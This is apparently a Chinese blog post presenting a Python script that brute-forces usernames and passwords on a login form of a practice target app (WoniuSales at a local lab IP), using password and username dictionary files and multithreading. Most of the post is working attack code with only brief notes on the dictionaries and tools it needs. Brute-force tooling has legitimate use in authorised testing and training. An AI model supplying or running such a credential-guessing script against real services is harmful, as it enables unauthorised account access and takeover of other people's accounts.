python暴破服务器用户密码

python暴破服务器用户密码


前言

靶场系统的登录–爆破密码
遍历密码字典–>登录请求–>获取验证通过的数据–>正确的密码
1、单用户
2、多用户-已知用户名
3、多用户-未知用户信息

python密码暴破,引用三个模块time,requests,threading

下面是暴破源代码

import time
import requests,threading
def login():
    url='http://192.168.14.148:8080/woniusales/user/login'
    with open('password-top500.txt','r') as fp:
        datas=fp.readlines()
    for dt in datas:
        password=(dt.strip())
        data={"username":"lency","password":password,"verifycode":"0000"}
        res=requests.post(url=url,data=data)
        if res.text != 'login-fail':
            print(f'爆破成功,密码为:{password}')
            break
        else:
            pass

def login_thread(password):
    url = 'http://192.168.14.148:8080/woniusales/user/login'
    data = {"username":"lency","password":password,"verifycode":"0000"}
    res = requests.post(url=url,data=data)

    if res.text != 'login-fail':
        print(f'爆破成功,密码为:{password}')
        exit('爆破成功')
    else:
        pass
def do_login(username):
    url = 'http://192.168.14.148:8080/woniusales/user/login'
    with open('password-top500.txt','r') as fp:
        datas = fp.readlines()
        time.sleep(0.2)
        for dt in datas:
            password = (dt.strip())
            data = {"username":username,"password":password,"verifycode":"0000"}
            res = requests.post(url=url,data=data)
            #print(res.text)
            if res.text != 'login-fail' and res.text != 'user not exists':
                print(f'爆破成功,用户为:{username},密码为:{password}')
                exit('爆破成功')
            else:
                pass
if __name__ == '__main__':
    # with open('password-top3000.txt','r') as fp:
    with open('username-top500.txt','r') as fp:
        datas=fp.readlines()
    ths=[]
    for dt in datas:
        username=dt.strip()
        th=threading.Thread(target=do_login,args=(username,))
        ths.append(th)
    for t in ths:
        t.start()

需要一个密码字典和一个用户名字典,抓包工具也得有

至于能否暴破出来,取决于你的电脑配置及字典大小和时间
已知用户名暴破指定用户的密码,相对容易。

请添加图片描述
请添加图片描述
请添加图片描述
请添加图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值